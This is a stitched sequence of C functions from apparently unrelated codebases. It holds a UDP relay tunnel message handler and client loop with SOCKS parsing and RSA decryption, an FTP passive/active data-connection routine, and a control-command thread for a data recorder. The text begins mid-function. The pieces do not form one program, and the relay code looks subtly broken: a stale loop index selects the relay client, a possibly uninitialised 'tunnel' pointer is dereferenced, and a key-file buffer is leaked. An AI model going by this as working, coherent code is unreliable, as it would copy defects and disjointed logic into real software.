ptr_de[i++] = 0; strncpy(port, ptr_de+i, ptr_len-i); port[ptr_len-i] = 0; //printf("req_id %d,host %s, port %s \n",req_id,ptr_de,port); intra_sock = sock_create(ptr_de, port, ipver, SOCK_TYPE_UDP, 0, 1); ERROR_GOTO(intra_sock == NULL, "Error creating udp socket", error); if(debug_level >= DEBUG_LEVEL1) { sock_get_str(intra_sock, dst_addrstr, sizeof(dst_addrstr)); printf("intra server:%s\n", dst_addrstr); } //printf("relays need %d \n",relays); msg_send_reqrelay(intra_sock, lhost, rport, 0,localid,sourceid,relays); break; } case MSG_TYPE_RELAYACK: { int i; char port[6]; /* need this so port str can have null term. */ uint8_t exp; char dst_addrstr[ADDRSTRLEN]; socket_t *tcp_sock = NULL; uint16_t req_id; if(id != 0) break; char * ptr_de=NULL; char * keyfile=malloc(64); sprintf(keyfile,"%s.key",lhost); ptr_de=my_rsadecrypt(data,keyfile); req_id = ntohs(*((uint16_t*)ptr_de)); ptr_de += sizeof(uint16_t); exp = *((uint8_t*)ptr_de); ptr_de += sizeof(uint8_t); int ptr_len=strlen(ptr_de); if (ptr_len>20) break; //printf("ptr_len %d \n",ptr_len); /* look for the space separating the host and port */ for(i = 0; i < ptr_len; i++) if(ptr_de[i] == ' ') break; if(i == ptr_len) break; /* null terminate the host and get the port number to the string */ ptr_de[i++] = 0; strncpy(port, ptr_de+i, ptr_len-i); port[ptr_len-i] = 0; //printf("req_id %d,host %s, port %s \n",req_id,ptr_de,port); tcp_sock = sock_create(ptr_de, port, ipver, SOCK_TYPE_UDP, 0, 1); ERROR_GOTO(tcp_sock == NULL, "Error creating udp socket", error); if (0<LIST_LEN(relay_clients)) { c2 = list_get_at(relay_clients, i); c2->tcp_sock=tcp_sock; } else { c = client_create(1, sourceid, tcp_sock,udp_serv,0); ERROR_GOTO(c == NULL, "Error creating client", error); c2 = list_add(relay_clients, c, 1); printf("added relay_cleints id %d\n",sourceid); ERROR_GOTO(c2 == NULL, "Error adding client to list", error); } if(debug_level >= DEBUG_LEVEL1) { sock_get_str(CLIENT_TCP_SOCK(c2), dst_addrstr, sizeof(dst_addrstr)); printf("tunnel %d nexthop:%s\n", sourceid, dst_addrstr); } break; } default: ret = -1; break; } return ret; error: return -1; }
static int ftp_init_transfer(void) { struct sockaddr_storage sa; unsigned char *a, *p; if(!ftp_connected()) return -1; if (!(ftp->data = sock_create())) { return -1; } sock_copy(ftp->data, ftp->ctrl); if (ftp_is_passive()) { memcpy(&sa, sock_remote_addr(ftp->ctrl), sizeof(struct sockaddr_storage)); unsigned char pac[6]; unsigned short ipv6_port; if (!ftp_pasv(sa.ss_family != AF_INET, pac, &ipv6_port)) goto err1; socklen_t len = sizeof(struct sockaddr_in); if (sa.ss_family == AF_INET) { memcpy(&((struct sockaddr_in*)&sa)->sin_addr, pac, (size_t)4); memcpy(&((struct sockaddr_in*)&sa)->sin_port, pac+4, (size_t)2); } #ifdef HAVE_IPV6 else if (sa.ss_family == AF_INET6) { ((struct sockaddr_in6*)&sa)->sin6_port = htons(ipv6_port); len = sizeof(struct sockaddr_in6); } #endif else return -1; struct sockaddr_storage tmp; memcpy(&tmp, sock_remote_addr(ftp->ctrl), sizeof(struct sockaddr_storage)); if (is_reserved((struct sockaddr*) &sa) || is_multicast((struct sockaddr*) &sa) || (is_private((struct sockaddr*) &sa) != is_private((struct sockaddr*) &tmp)) || (is_loopback((struct sockaddr*) &sa) != is_loopback((struct sockaddr*) &tmp))) { // Invalid address returned by PASV. Replace with address from control // socket. ftp_err(_("Address returned by PASV seems to be incorrect.\n")); ((struct sockaddr_in*)&sa)->sin_addr = ((struct sockaddr_in*)&tmp)->sin_addr; } if (!sock_connect_addr(ftp->data, (struct sockaddr*) &sa, len)) { perror("connect()"); goto err1; } } else { const struct sockaddr* local = sock_local_addr(ftp->data); sock_listen(ftp->data, local->sa_family); if (local->sa_family == AF_INET) { struct sockaddr_in* tmp = (struct sockaddr_in*)local; a = (unsigned char *)&tmp->sin_addr; p = (unsigned char *)&tmp->sin_port; ftp_set_tmp_verbosity(vbError); ftp_cmd("PORT %d,%d,%d,%d,%d,%d", a[0], a[1], a[2], a[3], p[0], p[1]); } #ifdef HAVE_IPV6 else if (local->sa_family == AF_INET6) { char* addr = printable_address(local); ftp_set_tmp_verbosity(vbError); ftp_cmd("EPRT |2|%s|%u", addr, ntohs(((struct sockaddr_in6*)local)->sin6_port)); free(addr); } #endif else goto err1; if(ftp->code != ctComplete) goto err1; } sock_throughput(ftp->data); return 0; err1: sock_destroy(ftp->data); ftp->data = 0; return -1; }
int udpclient(int argc, char *argv[]) { list_t *clients = NULL; list_t *conn_clients; client_t *client; client_t *tunnel; client_t *client2; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; char taddrstr[ADDRSTRLEN]; socket_t *tcp_sock = NULL; socket_t *udp_sock = NULL; socket_t *next_sock = NULL; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; // uint16_t tmp_req_id; int num_fds; uint32_t sourceid; int ret; int i; signal(SIGINT, &signal_handler); i = 0; lhost = (argc - i == 5) ? NULL : argv[i++]; lport = argv[i++]; rport = argv[i++]; phost = argv[i++]; pport = argv[i++]; relays = atoi(argv[i++]); if(debug_level >= DEBUG_LEVEL1) printf("relays need %d \n",relays); /* Check validity of ports (can't check ip's b/c might be host names) */ ERROR_GOTO(!isnum(lport), "Invalid listen port.", done); ERROR_GOTO(!isnum(rport), "Invalid recv port.", done); ERROR_GOTO(!isnum(pport), "Invalid inter port.", done); //ERROR_GOTO(!isnum(rport), "Invalid remote port.", done); srand(inet_addr(lhost)); localid=(rand()); generate_rsakey(lhost); if(debug_level >= DEBUG_LEVEL1) { printf("local id %d \n",localid); } next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(conn_clients == NULL, "Error creating conn_clients list.", done); relay_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(relay_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); udp_serv = sock_create(lhost, rport,ipver, SOCK_TYPE_UDP, 1, 1); ERROR_GOTO(udp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s,UDP %s \n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr)),sock_get_str(udp_serv, taddrstr, sizeof(taddrstr))); } next_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); msg_send_req(next_sock,lhost,rport,0,localid); sock_free(next_sock); next_sock = NULL; FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); FD_SET(SOCK_FD(udp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); if(tcp_sock == NULL) continue; if(SelectMethod(tcp_sock->fd)==-1) { if(debug_level >= DEBUG_LEVEL1) printf("socks version error\n"); return-1; } rhost=ParseCommand(tcp_sock->fd); if (0<LIST_LEN(relay_clients)) { tunnel = list_get_at(relay_clients, 0); udp_sock =sock_copy(CLIENT_TCP_SOCK(tunnel)); SOCK_FD(udp_sock)=socket(AF_INET, SOCK_DGRAM, 0); } if(udp_sock == NULL) { sock_close(tcp_sock); sock_free(tcp_sock); continue; } client = client_create(next_req_id++, localid, tcp_sock, udp_sock, 1); memcpy(client->rsakey,tunnel->rsakey,strlen(tunnel->rsakey)); printf("expid rsakey is %s",client->rsakey); if(debug_level >= DEBUG_LEVEL1) printf("create client id %d \n",CLIENT_ID(client)); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client, 1); client_free(client); client = NULL; if(debug_level >= DEBUG_LEVEL1) { sock_get_str(CLIENT_TCP_SOCK(client2), addrstr, sizeof(addrstr)); printf("tunnel(%d): local %s ",client2->sourceid, addrstr); sock_get_str(CLIENT_UDP_SOCK(client2), addrstr, sizeof(addrstr)); printf("to %s \n",addrstr); } client_send_hello(client2,rhost,CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); //client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for UDP data */ if(FD_ISSET(SOCK_FD(udp_serv), &read_fds)) { //ret = client_recv_udp_msg(client, data, sizeof(data), // &tmp_id, &tmp_type, &tmp_len,&sourceid); ret = msg_recv_msg(udp_serv, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len,&sourceid); if(debug_level >= DEBUG_LEVEL2) printf("recv msg from %d type %d %d bytes \n ",sourceid,tmp_type,tmp_len); if(ret == 0) ret = handle_message(tmp_id, tmp_type, data, tmp_len,sourceid,clients, conn_clients); /*if(ret < 0) { disconnect_and_remove_client(tmp_id, clients, &client_fds, 1); } */ } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); /* Check for TCP data */ if(num_fds > 0 && client_tcp_fd_isset(client, &read_fds)) { ret = client_recv_tcp_data(client); if(ret == -1) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } else if(ret == -2) { client_mark_to_disconnect(client); disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 0); } num_fds--; } /* send any TCP data that was ready */ ret = client_send_udp_data(client); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } /* Finally, send any udp data that's still in the queue */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_send_udp_data(client); if(ret < 0 || client_ready_to_disconnect(client)) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_serv) { sock_close(udp_serv); sock_free(udp_serv); } if(clients) list_free(clients); if(conn_clients) list_free(conn_clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
/* * Thread to control the acquisition of data, allows only 1 connection at a time */ void control_thread (void * arg) { udpdb_t * ctx = (udpdb_t *) arg; if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: starting\n"); // port on which to listen for control commands int port = ctx->control_port; // buffer for incoming command strings int bufsize = 1024; char* buffer = (char *) malloc (sizeof(char) * bufsize); assert (buffer != 0); const char* whitespace = " \r\t\n"; char * command = 0; char * args = 0; //time_t utc_start = 0; FILE *sockin = 0; FILE *sockout = 0; int listen_fd = 0; int fd = 0; char *rgot = 0; int readsocks = 0; fd_set socks; struct timeval timeout; // create a socket on which to listen if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: creating socket on port %d\n", port); listen_fd = sock_create (&port); if (listen_fd < 0) { multilog(ctx->log, LOG_ERR, "Failed to create socket for control commands: %s\n", strerror(errno)); free (buffer); return; } while (!quit_threads) { // reset the FD set for selecting FD_ZERO(&socks); FD_SET(listen_fd, &socks); timeout.tv_sec = 1; timeout.tv_usec = 0; readsocks = select(listen_fd+1, &socks, (fd_set *) 0, (fd_set *) 0, &timeout); // error on select if (readsocks < 0) { perror("select"); exit(EXIT_FAILURE); } // no connections, just ignore else if (readsocks == 0) { } // accept the connection else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: accepting conection\n"); fd = sock_accept (listen_fd); if (fd < 0) { multilog(ctx->log, LOG_WARNING, "control_thread: Error accepting " "connection %s\n", strerror(errno)); break; } sockin = fdopen(fd,"r"); if (!sockin) multilog(ctx->log, LOG_WARNING, "control_thread: error creating input " "stream %s\n", strerror(errno)); sockout = fdopen(fd,"w"); if (!sockout) multilog(ctx->log, LOG_WARNING, "control_thread: error creating output " "stream %s\n", strerror(errno)); setbuf (sockin, 0); setbuf (sockout, 0); rgot = fgets (buffer, bufsize, sockin); //if (rgot && !feof(sockin)) { while (rgot && !feof(sockin)) { buffer[strlen(buffer)-2] = '\0'; args = buffer; // parse the command and arguements command = strsep (&args, whitespace); if (ctx->verbose) { multilog(ctx->log, LOG_INFO, "control_thread: command=%s\n", command); if (args != NULL) multilog(ctx->log, LOG_INFO, "control_thread: args=%s\n", args); } // REQUEST STATISTICS if (strcmp(command, "STATS") == 0) { fprintf (sockout, "mb_rcv_ps=%4.1f,mb_drp_ps=%4.1f," "ooo_pkts=%"PRIu64",mb_free=%4.1f,mb_total=%4.1f\r\n", ctx->mb_rcv_ps, ctx->mb_drp_ps, ctx->ooo_packets, ctx->mb_free, ctx->mb_total); fprintf (sockout, "ok\r\n"); } else if (strcmp(command, "SET_UTC_START") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: SET_UTC_START command received\n"); if (args == NULL) { multilog(ctx->log, LOG_ERR, "control_thread: no time specified for SET_UTC_START\n"); fprintf(sockout, "fail\r\n"); } else { time_t utc = str2utctime (args); if (utc == (time_t)-1) { multilog(ctx->log, LOG_WARNING, "control_thread: could not parse " "UTC_START time from %s\n", args); fprintf(sockout, "fail\r\n"); } else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_START as %d\n", utc); // set global utc_start to parsed value, used when START command arrives utc_start = utc; fprintf(sockout, "ok\r\n"); multilog(ctx->log, LOG_INFO, "set_utc_start %s\n", args); } } } // START COMMAND else if (strcmp(command, "START") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: START command received\n"); start_pending = 1; while (recording != 1) { //sleep(1); usleep(100000); } start_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording started\n"); } // FLUSH COMMAND - stop acquisition of data, but flush all packets already received else if (strcmp(command, "FLUSH") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: FLUSH command received, stopping recording\n"); stop_pending = 1; while (recording != 0) { sleep(1); } stop_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n"); } // UTC_STOP command else if (strcmp(command, "UTC_STOP") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: UTC_STOP command received\n"); if (args == NULL) { multilog(ctx->log, LOG_ERR, "control_thread: no UTC specified for UTC_STOP\n"); fprintf(sockout, "fail\r\n"); } else { time_t utc = str2utctime (args); if (utc == (time_t)-1) { multilog(ctx->log, LOG_WARNING, "control_thread: could not parse " "UTC_STOP time from %s\n", args); fprintf(sockout, "fail\r\n"); } else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_STOP as %d\n", utc); uint64_t byte_to_stop = (utc - utc_start); byte_to_stop *= 800 * 1000 * 1000; if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: total_secs=%d, " "stopping byte=%"PRIu64"\n", (utc - utc_start), byte_to_stop); stop_byte = byte_to_stop; stop_pending = 0; utc_start = 0; fprintf(sockout, "ok\r\n"); multilog(ctx->log, LOG_INFO, "utc_stop %s\n", args); } } } // STOP command, stops immediately else if (strcmp(command, "STOP") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: STOP command received, stopping immediately\n"); stop_pending = 2; stop_byte = (ctx->last_byte > 0) ? ctx->last_byte : 1; while (recording != 0) { sleep(1); } stop_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n"); } // QUIT COMMAND, immediately exit else if (strcmp(command, "QUIT") == 0) { multilog(ctx->log, LOG_INFO, "control_thread: QUIT command received, exiting\n"); quit_threads = 1; fprintf(sockout, "ok\r\n"); close(fd); break; } // UNRECOGNISED COMMAND else { multilog(ctx->log, LOG_WARNING, "control_thread: unrecognised command: %s\n", buffer); fprintf(sockout, "fail\r\n"); } // try to read the next line of input rgot = fgets (buffer, bufsize, sockin); } close(fd); } //close(fd); } close(listen_fd); free (buffer); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: exiting\n"); }